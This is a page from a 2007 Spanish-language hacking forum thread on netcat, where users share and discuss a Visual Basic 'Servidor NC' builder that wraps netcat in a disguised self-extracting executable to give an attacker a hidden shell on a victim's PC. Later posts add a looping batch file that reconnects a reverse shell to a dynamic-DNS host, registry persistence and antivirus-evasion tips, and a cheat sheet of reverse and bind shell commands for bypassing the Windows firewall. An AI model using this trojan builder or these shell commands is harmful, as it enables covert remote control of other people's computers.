elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
14 Octubre 2008, 01:43  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Básico (Moderador: zhyzura)
| | | |-+  Jugando con netcat
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... 37 Ir Abajo Imprimir
Autor Tema: Jugando con netcat  (Leído 58840 veces)
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #90 en: 01 Mayo 2007, 07:10 »

Servidor NC 1.2

Bueno.. hice un programa bastante improvisado pero bastante efectivo para solucionar el problema de muchos...
La ides de este programa es crear servidores de netcat.... solo le pasas a la victima el ejecutable y ya tienes la shell sin compilar nada.
Lo bueno es que cuando abres la carnada no se ve ni un pantallazo del DOS como se hacia antes.



Tanto el programa como el codigo fuente está disponible como siempre en http://512.iespana.es/nc

Codigo:

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess&, ByVal bInheritHandle&, ByVal dwProcessId&) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Private Sub Command1_Click()
sCmd = "copy join.dll " + Text7.Text + ".exe&&copy rar.dll rar.exe&&Echo set nc=%random%.exe > make.bat&&Echo copy nc.dll %nc% >> make.bat&&Echo Echo %nc% " + Text4.Text + " " + Text5.Text + " ^^^|cmd.exe^^^| " + Text4.Text + " " + Text6.Text + " -d ^> ejecutar.txt >> make.bat&&Echo rar a " + Text7.Text + ".exe -m5 -n ejecutar.txt %nc% >> make.bat&&Echo del /f /q ejecutar.txt >> make.bat&&Echo del /f /q %nc% >> make.bat&&make.bat&&del /f /q make.bat&&del /f /q rar.exe"
hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
End Sub

Private Sub Command2_Click()
sCmd = "copy join.dll " + Text7.Text + ".exe&&copy rar.dll rar.exe&&Echo set nc=%random%.exe > make.bat&&Echo copy nc.dll %nc% >> make.bat&&Echo Echo %nc% -d -e cmd.exe " + Text2.Text + " " + Text3.Text + " ^> ejecutar.txt >> make.bat&&Echo rar a " + Text7.Text + ".exe -m5 -n ejecutar.txt %nc% >> make.bat&&Echo del /f /q ejecutar.txt >> make.bat&&Echo del /f /q %nc% >> make.bat&&make.bat&&del /f /q make.bat&&del /f /q rar.exe"
hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
End Sub

Private Sub Command3_Click()
Dim hShell As Long
Dim sCmd As String

sCmd = "copy join.dll " + Text7.Text + ".exe&&copy rar.dll rar.exe&&Echo set nc=%random%.exe > make.bat&&Echo copy nc.dll %nc% >> make.bat&&Echo Echo %nc% -L -d -e cmd.exe -p " + Text1.Text + " ^> ejecutar.txt >> make.bat&&Echo rar a " + Text7.Text + ".exe -m5 -n ejecutar.txt %nc% >> make.bat&&Echo del /f /q ejecutar.txt >> make.bat&&Echo del /f /q %nc% >> make.bat&&make.bat&&del /f /q make.bat&&del /f /q rar.exe"
hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)

End Sub

Private Sub Command4_Click()
End
End Sub

Private Sub Command5_Click()
Form2.Show
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Unload Me
Form2.Hide
End
End Sub
'Creado por WHK para el foro de elhacker.net
En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
ne0x

Desconectado Desconectado

Mensajes: 270



Ver Perfil
Re: Jugando con netcat
« Respuesta #91 en: 01 Mayo 2007, 14:19 »

Este ultimo es el que mas me gusta !!

Muy bueno, hay que probarlo a ver si funciona como se dice.
En línea

Martín Fierro

Desconectado Desconectado

Mensajes: 381


Por crom!!!. Chiapas dedo izquierdo de wadalbertía


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #92 en: 01 Mayo 2007, 16:43 »

Felicidades compadre, nunca se me hubiera ocurrido, hacerlo así.....

La pregunta estriba respecto a que los join.dll y el rar.dll así como el nc.exe vienen comprimidos en el ejecutable o lo traes en una carpeta, no he bajado el archivo y te pregunto a rajatabla.

Veo si lo traduzco al autoit para que no necesites dlls y las dlls tools se compriman en el mismo ejecutable.

De verdad que me admira tu ingenio... Lo hubiera hecho yo si se me hubiera ocurrido, también he manejado el rar en línea de comandos, aunque el join.dll sí que no lo conozco...
En línea

Y no me importa nada..
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #93 en: 01 Mayo 2007, 23:46 »

Para nada compadre... en realidad el nc.dll es el mismo netcat con extension .dll para que no lo borren :p, es mas... renombra nc.dll a nc.exe y veras el netcat con el icono modificado por el resourcehack, el rar.dll es el rar.exe utilizado para crear el empaquetado en modo consola... el join.dll es la base de otro programa que hice comprimido para que se fusione con el netcar mas las instrucciones dadas por el server-nc.. en realidad hace un copy join.dll %random%.exe donde %random%.exe [comando]
Con esto de %random% lo hice para que puedas enviar todas las shells que quieras sin que te cause nungun problema al dar una segunda.
En otras palabras realmente no son dlls sino partes del mismo progrma que les puse extension dll para que no los borraran y funcionaran como dependencias.
--------------------------------------------------------
También incluí en las descargas el Ejecute Invisible 1.0 que tuve que hacer en visual basic para poder ejecutar el netcat... está con codigo fuente y todo:

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess&, ByVal bInheritHandle&, ByVal dwProcessId&) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Private Sub Form_Load()
On Error Resume Next
Dim LTD As String, F As Variant
Open App.Path & "\ejecutar.txt" For Input As FreeFile
Input #1, LTD
Text1.Text = LTD
Close #1

Dim hShell As Long
Dim sCmd As String

sCmd = "cmd /c " & Text1.Text
hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
End
End Sub
'Creado por WHK para el foro de elhacker.net


Como se ve no se mucho de programación pero si tengo harto ingenio :p

Como siempre en http://512.iespana.es/nc
Este espacio en mi web es exclusivo para el foro y no para todo el resto del publico para que despues no digan que me cuelgo del foro para levantar mi web  :P ademas no lo necesito
« Última modificación: 02 Mayo 2007, 01:05 por WHK » En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
Martín Fierro

Desconectado Desconectado

Mensajes: 381


Por crom!!!. Chiapas dedo izquierdo de wadalbertía


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #94 en: 02 Mayo 2007, 03:51 »

Para nada compadre... en realidad el nc.dll es el mismo netcat con extension .dll para que no lo borren :p, es mas... renombra nc.dll a nc.exe y veras el netcat con el icono modificado por el resourcehack, el rar.dll es el rar.exe utilizado para crear el empaquetado en modo consola... el join.dll es la base de otro programa que hice comprimido para que se fusione con el netcar mas las instrucciones dadas por el server-nc.. en realidad hace un copy join.dll %random%.exe donde %random%.exe [comando]
Con esto de %random% lo hice para que puedas enviar todas las shells que quieras sin que te cause nungun problema al dar una segunda.
En otras palabras realmente no son dlls sino partes del mismo progrma que les puse extension dll para que no los borraran y funcionaran como dependencias.
--------------------------------------------------------
También incluí en las descargas el Ejecute Invisible 1.0 que tuve que hacer en visual basic para poder ejecutar el netcat... está con codigo fuente y todo:


Ya lo estoy viendo, conozco la técnica, yo lo hice igual con varios programas, incluso puedes empaquetarlo con el Fusion en el mismo ejecutable, el nc.dll y el cryptcat.dll los tengo así en varios programas que hice para GUI de ellos, también hice un manager GUI para wget y use la misma técnica.

Sipo le entendí a tu código a la primera, pero si te confieso que el del join si no lo identifique.

Enhorabuena, te digo ya vere con tiempo si lo paso a autoit y claro te doy el crédito.

Hace tiempo que renuncié al VB para adoptar el autoit que es menos pesado y necesita menos ocx y demás, además es más Basic.
En línea

Y no me importa nada..
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #95 en: 02 Mayo 2007, 04:13 »

join.dll es un ejecutable winrar SFX donde dentro está el ejecute_invisible.exe ... lo que hace el programa es renombrar nc.dll a %random%.exe y a rar.dll a rar.exe y con todo eso comprimir el %random%.exe + ejecutar.txt dentro del rar ejecutable con el nombre propuesto en text1.text
si kieres verlo puedes abrirlo extrayendo ficheros con winrar... es mas.. al servidor puedes cambiarle el icono con el mismo winrar y es completamente configurable para el que tenga conocimientos un poco mas avanzados, pero por ahora asi como está es ideal para los que re100 estan aprendiendo. y ojo que las librerias no deben ir en ningun otro lado que no sea en el mismo directorio (carpeta) donde está el programa ya que no son dll reales... como dije.. no se mucho de programación asi que use la imaginación para juntar el rar en modo consola y un winrar sfx para que el servidor-nc haga las configuraciones necesarias sobre ellos.
En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #96 en: 04 Mayo 2007, 07:04 »

El que quería usar el Net Cat para entrar en los IRC la respuesta estaba aca mismo:
http://foro.elhacker.net/index.php/topic,93666.0.html
En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
Grave

Desconectado Desconectado

Mensajes: 221


Sois como sepulcros emblanquesidos que no se ven


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #97 en: 09 Mayo 2007, 22:08 »

Como puedes ver… acá mostré como hacer interactuar el netcat con un servidor y transformarlo en un anonimail XD o ftp client… también puedes hacer un consultador SQL, un bot IRC, un cliente tftp… etc etc etc… es solo cosa de imaginación

Me referia a eso :¬¬
En línea

"y el conocimiento os hara libres"

Module Console1
   Console.Write("Hello Word")
   Console.ReadLine()
End Module
diorena

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Jugando con netcat
« Respuesta #98 en: 09 Mayo 2007, 22:39 »

hola sabes tengo un problema ya que baje el netcat y el reshack pero no me funciona nada a pesar de seguir tus instrucciones al pie de la letra, ademas te cuento que baje e reshack y esta en español lo cual es diferente a lo que tu tienes en el tema, me podrias dar una pauta de donde bajar el reshack en ingles ya que no lo encuentro o bien iluminarme en algo que puedo estar haciendo mal de antemano gracias.

muy buen tema y muy interesante gracias
En línea
nica

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: Jugando con netcat
« Respuesta #99 en: 09 Mayo 2007, 23:47 »

baja el programa que puso whk, en realidad si funciona, lo unica pregunta que tengo es que kuando uso un scaneador de puertos, mas especificamente el nmap este no me arroja que tengo abierto ese puerto... por que???


* donde se puede modificar o se puede agregar al codigo que no se cree el ejecutable 31823.exe, por que se mira todo sospechoso en el administrador de tareas
* lo otro es que se crea en la carpeta de los temporales del usuario en donde se ejecuta, pero se crea en alguna otra carpeta???


** me puse a pensar que al final de las cosas y para mientras uno se logee usando el server de whk se puede subir el netcat siempre troyanizado a otra carpeta y agregar la ruta al registro de windows.
« Última modificación: 10 Mayo 2007, 00:08 por nica » En línea
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #100 en: 10 Mayo 2007, 05:52 »

Modificaré el server-nc para ponerle un nombre propio al proceso ya que lo hice como %random% para que pudieses tener mas de una shell directa o remota sin causar conflictos con otras configuraciones anteriores.
Cuando se crea el servidor este deja una shell remota el cual puedes cerrarloel proceso del netcat. El archivo se ejecuta en %TMP% porque es el único lugar donde tienes 100% sobreescritura sin importar el usuario en que estes (Restringida).

Me pondré a trabajar con lo del bot IRC Aunque no creo que algunos se pongan muy contentos porque mis bots son algo macabro jajajajaja es broma... lo haré.
« Última modificación: 10 Mayo 2007, 05:54 por WHK » En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
nica

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: Jugando con netcat
« Respuesta #101 en: 12 Mayo 2007, 00:32 »

para los que tenian problemas con ".... no es una aplicacion win32 valida..." pues les cuento que a mi se me resolvio el problema primero haciendo el proceso en winrar, incluso hasta se pueden saltar el paso del reshacker por que el mismo winrar te agrega el incono al ejecutable, pero si lo kieren pasar por el reshack pues no hay problem por que tambien lo hice asi y no hubo problema, solo recuerden que primero la parte del rar y despues la parte del reshack.

por cierto tengo una duda, como puedo hacer para que no se me cierre la conexion y que esta siempre este activa????
En línea
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #102 en: 12 Mayo 2007, 06:57 »

antorchahumana25 :
Puedes bajarlo de http://512.iespana.es/nc

Nica:
Puedes hacer que el netcat escuche a un bat en ves del cmd.exe donde el bat diga:

@echo off
:1
nc -d -e cmd.exe ip puerto
goto 1


De esta forma cuando se te desconecte el netcat solito volverá a conectarse denuevo y también puedes añadir una entrada de registro con el comando reg add para que inicie automaticamente en cada reinicio de esa pc (recuerda que para eso Debes tener una ip fija donde te llegue la shell o puedes tener una cuenta No-Ip y poner tu DNS (nombre de dominio) en ves de la ip)
EJ:

@echo off
:1
nc -d -e cmd.exe bogamory.sytes.net 80
goto 1


Ahora estoy terminando otras cosas pero cuando termine buelvo para terminar lo del bot IRC con netcat y esto mismo de reconecciones automaticas pero con imagenes.
En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #103 en: 12 Mayo 2007, 08:03 »

Hoy en dia el netcat es detectado como archivo potencialmente malicioso pero puedes agregarlo a la lista de archivos omitidos para que no te lo borre. Para mayor comodidad te recomiendo ponerlo en tu system32 y poder manejar las conexiones ejecutando directamente nc desde tu linea de comandos (CMD).
En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
WHK

Desconectado Desconectado

Mensajes: 842


+-=[Yan]=-+


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #104 en: 12 Mayo 2007, 09:10 »

claro.. repetiré las cosas mil y una ves hasta que todos hayan aprendido por muy poco que sepan.

alt 126 ~
alt 124 |
alt 60 <
alt 62 >

netcat pipeado haciendo reverse shell

------------------------------------------------------
atacante:
nc -vv -L -p 80
nc -vv -L -p 25
------------------------------------------------------
victima:
nc xxx.xxx.xxx.xxx 80 | cmd.exe | nc xxx.xxx.xxx.xxx 25 -d
------------------------------------------------------
se enviaran comandos por puerto 80
y se resiviran por puerto 25
de esa manera se pasa al fw de windows SP2
------------------------------------------------------

netcat en reverse shell

------------------------------------------------------
atacante:
nc -vv -L -p 25
------------------------------------------------------
victima:
nc -d -e cmd.exe xxx.xxx.xxx.xxx 25
------------------------------------------------------
Se enviara una reverse shell por el puerto 25
------------------------------------------------------

netcat shell directa

------------------------------------------------------
victima:
nc -L -d -e cmd.exe -p 25
------------------------------------------------------
atacante:
nc xxx.xxx.xxx.xxx 25 -vv
------------------------------------------------------
La victima deja netcat a la escucha por el puerto 25
para que posteriormente el atacante se conecte
------------------------------------------------------
En línea

* The Hacktivism is not a crimen.
* Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
http://solid.jccharry.com/
Greencode by WHK
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... 37 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC